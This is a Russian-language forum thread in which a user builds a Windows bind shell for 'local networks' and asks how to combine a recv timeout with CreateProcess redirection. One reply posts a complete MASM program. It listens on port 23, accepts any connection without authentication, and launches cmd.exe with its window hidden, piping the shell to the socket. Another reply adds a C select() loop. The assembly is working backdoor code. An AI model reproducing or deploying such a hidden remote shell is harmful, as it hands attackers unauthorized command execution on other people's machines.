Добрый день. Программирую удаленный шелл: Мое приложение создает сокет, слушает порт, принимает соединения, потом авторизация, если все успешно, то Createprocess(nil, 'cmd.exe',... ) В структуре lpStartupInfo указываем хендл сокета для ввода/вывода. С этим проблем нет. используются функции: WsaSocket, recv, CreateProcess.. Хочу сделать таймаут для recv (чтобы прога не висла, т.к. все в одном потоке идет). Для этого я уже использую socket, setsockopt(..SOL_SOCKET, SO_RCVTIMEO...), recv, Createprocess Таймаут срабатывает, но вот на клиенте ничего не выводит (строки приветствия командной строки). Эксперименты подтвердили, что дело в блокирующих и неблокирующих сокетах, т.е. WsaSocket создает неблокирующий сокет (как я понял), и только такой сокет может быть передан как lpStartupInfo.hStdInput. Но в этом случае не работает тайм-аут. Вопрос: как можно подружить таймаут на recv и функцию Createprocess с параметром lpStartupInfo.hStdInput:=SOcketClient; Варианты были что создать через socket, отработать операцию с таймаутом, потом неким образом сделать его неблокирующем, чтобы уже получать удаленный шелл.. Копался в яндексе, предлагается через окна и какие-то уведомления делать... Это слишком сложно и не подходит.. Секс за подсказки.
Тестирую: запускаю прогу в которой принимаются коннекты и создается шел, соседней прогой подключаюсь как клиентом (xspider 6.5)
test555 То есть все на одной машине. А в перспективе бинд-шелл будет в локалке? Задача должна быть на asm-е или С можно ? а как это xspider 6.5? Давай клиент будет обычный telnet.exe? Тебе консольное приложение нужно?
там в xspider есть TCP соединения, то есть указываешь порт и адрес, жмешь коннект. Почти то же что и telnet. В перспективе бенд-шелл будет в локалках.... Язык не важен, так как все равно переписываю все на АСМ... Но понятнее сишник.
лучше многопоточность, лучше пайпы (?), лучше ioctlsocket( result, FIONBIO, (PDWORD)"\x01\x00\x00" ); поздняк метаться
Ну тогда пойдет вот это ... Тебе не setsockopt нужен а простым Sleep-ом обойтись можно. Очень правильно! Код (Text): .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\wsock32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\wsock32.lib .data PORT equ 23 szCommandLine byte 'cmd.exe', 0 .code ;========================================================= ShellClient proc dwSock:dword ; Создание необходимых структур для ; работы с пайпами. local sat:SECURITY_ATTRIBUTES local pipe1out_conin:dword ; <- Дескрипторы пайпов local pipe2out_send:dword local recv_pipe1in:dword local conout_pipe2in:dword local startupinfo:STARTUPINFO local processinfo:PROCESS_INFORMATION local exitcode:dword local buffer[1024]:byte local bytes:dword local available:dword local data:dword ; устанавливает атрибуты безопасности mov sat.nLength, sizeof SECURITY_ATTRIBUTES mov sat.lpSecurityDescriptor, 0 mov sat.bInheritHandle, TRUE ; Создание пайпов ; Здесь sat - это указатель на структуру типа SECURITY_ATTRIBUTES invoke CreatePipe, addr pipe1out_conin, addr recv_pipe1in, addr sat, 0 invoke CreatePipe, addr pipe2out_send, addr conout_pipe2in, addr sat, 0 invoke GetStartupInfo, addr startupinfo ; Подмена дескрипторов ; Здесь startupinfo - это структура STARTUPINFO для запуска процесса ; Взвести эти флаги просто необходимо! mov startupinfo.cb, sizeof STARTUPINFO mov eax, conout_pipe2in mov startupinfo.hStdOutput, eax ;вместо STDOUT использовать conout_pipe2in mov startupinfo.hStdError, eax ;вместо STDERR использовать conout_pipe2in mov eax, pipe1out_conin mov startupinfo.hStdInput, eax ;вместо STDIN использовать pipe1out_conin mov startupinfo.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES mov startupinfo.wShowWindow, SW_HIDE ;прячем окно процесса invoke CreateProcess, 0, addr szCommandLine,\ 0, 0, TRUE, CREATE_NEW_CONSOLE,\ 0, 0, addr startupinfo,\ addr processinfo invoke CloseHandle, conout_pipe2in invoke CloseHandle, pipe1out_conin mov bytes, 1 ; Проверка состояний сокета. Есть что прочитать ? invoke ioctlsocket, dwSock, FIONBIO, addr bytes .while TRUE invoke Sleep, 1 ; Пока не завершится процесс, ; читаем/пишем из пайпа в сокет и наоборот. invoke GetExitCodeProcess,\ processinfo.hProcess,\ addr exitcode .if exitcode != STILL_ACTIVE .break .endif ; Проверка состояний канала. Есть что прочитать ? ;BOOL PeekNamedPipe( ;HANDLE hNamedPipe, // handle для pipe ;LPVOID lpBuffer, // Буфер для данных ;DWORD nBufferSize, // Размер буфера для данных ;LPDWORD lpBytesRead,// Количество читаемых байтов ;LPDWORD lpTotalBytesAvail, // Количество доступных для чтения байт ;LPDWORD lpBytesLeftThisMessage// Количество непрочитанных данных ;); invoke PeekNamedPipe, pipe2out_send,\ addr buffer, 1024,\ addr bytes, addr available,\ 0 .if bytes != 0 ; Количество доступных для чтения байт > 1024 .if available > 1024 .while bytes >= 1024; Количество читаемых байтов >1024 invoke Sleep, 1 ; Читаем из пайпа 2 invoke ReadFile, pipe2out_send,\ addr buffer, 1024,\ addr bytes, 0 .if bytes != 0 ; Вывод в telnet invoke send, dwSock,\ addr buffer, bytes,\ 0 .endif .endw .else ; Читаем из пайпа 2 invoke ReadFile, pipe2out_send,\ addr buffer, 1024,\ addr bytes, 0 .if bytes != 0 ; Вывод в telnet invoke send, dwSock,\ addr buffer, bytes,\ 0 .endif .endif .endif ; Читаем из сокета invoke recv, dwSock, addr buffer, 1024, 0 .if eax == SOCKET_ERROR || eax == 0 invoke WSAGetLastError .if eax == WSAEWOULDBLOCK .continue .else invoke TerminateProcess, processinfo.hProcess, 0 .break .endif .else mov edx, eax ; Пишем в пайп invoke WriteFile, recv_pipe1in,\ addr buffer, edx,\ addr bytes, 0 .endif .endw invoke CloseHandle, recv_pipe1in invoke CloseHandle, pipe2out_send invoke closesocket, dwSock ret ShellClient endp ;========================================================= Shelld proc local SockAddrIn:sockaddr_in local dwSock:dword local dwMode:dword local WSAData:WSADATA invoke WSAStartup, 101h, addr WSAData invoke socket, PF_INET, SOCK_STREAM, 0 mov dwSock, eax mov SockAddrIn.sin_family, AF_INET invoke htons, PORT mov SockAddrIn.sin_port, ax mov SockAddrIn.sin_addr, INADDR_ANY invoke bind, dwSock, addr SockAddrIn, sizeof SockAddrIn mov dwMode, 1 invoke ioctlsocket, dwSock, FIONBIO, addr dwMode ; Ждем подключений invoke listen, dwSock, SOMAXCONN @@: ; Принимаем подключение и создаем поток ShellClient invoke accept, dwSock, addr SockAddrIn, 0 .if eax != INVALID_SOCKET mov edx, eax invoke CreateThread, 0, 0, addr ShellClient, edx, 0, 0 invoke CloseHandle, eax .endif invoke Sleep, 1000 jmp @B ret Shelld endp ;========================================================= start: invoke Shelld invoke ExitProcess, 0 end start Пробуй.
блин, ну селекты же Код (Text): fd_set fds; FD_ZERO(&fds); FD_SET(socket_fd, &fds); FD_SET(pipe_fd, &fds); struct timeval timeout; timeout.tv_sec = 1; timeout.tv_usec = 0; if (select(0, &fds, NULL, NULL, &timeout) > 0) { if (FD_ISSET(socket_fd, &fds)) recv_from_socket_and_send_to_pipe(); if (FD_ISSET(pipe_fd, &fds)) recv_from_pipe_and_send_to_socket(); }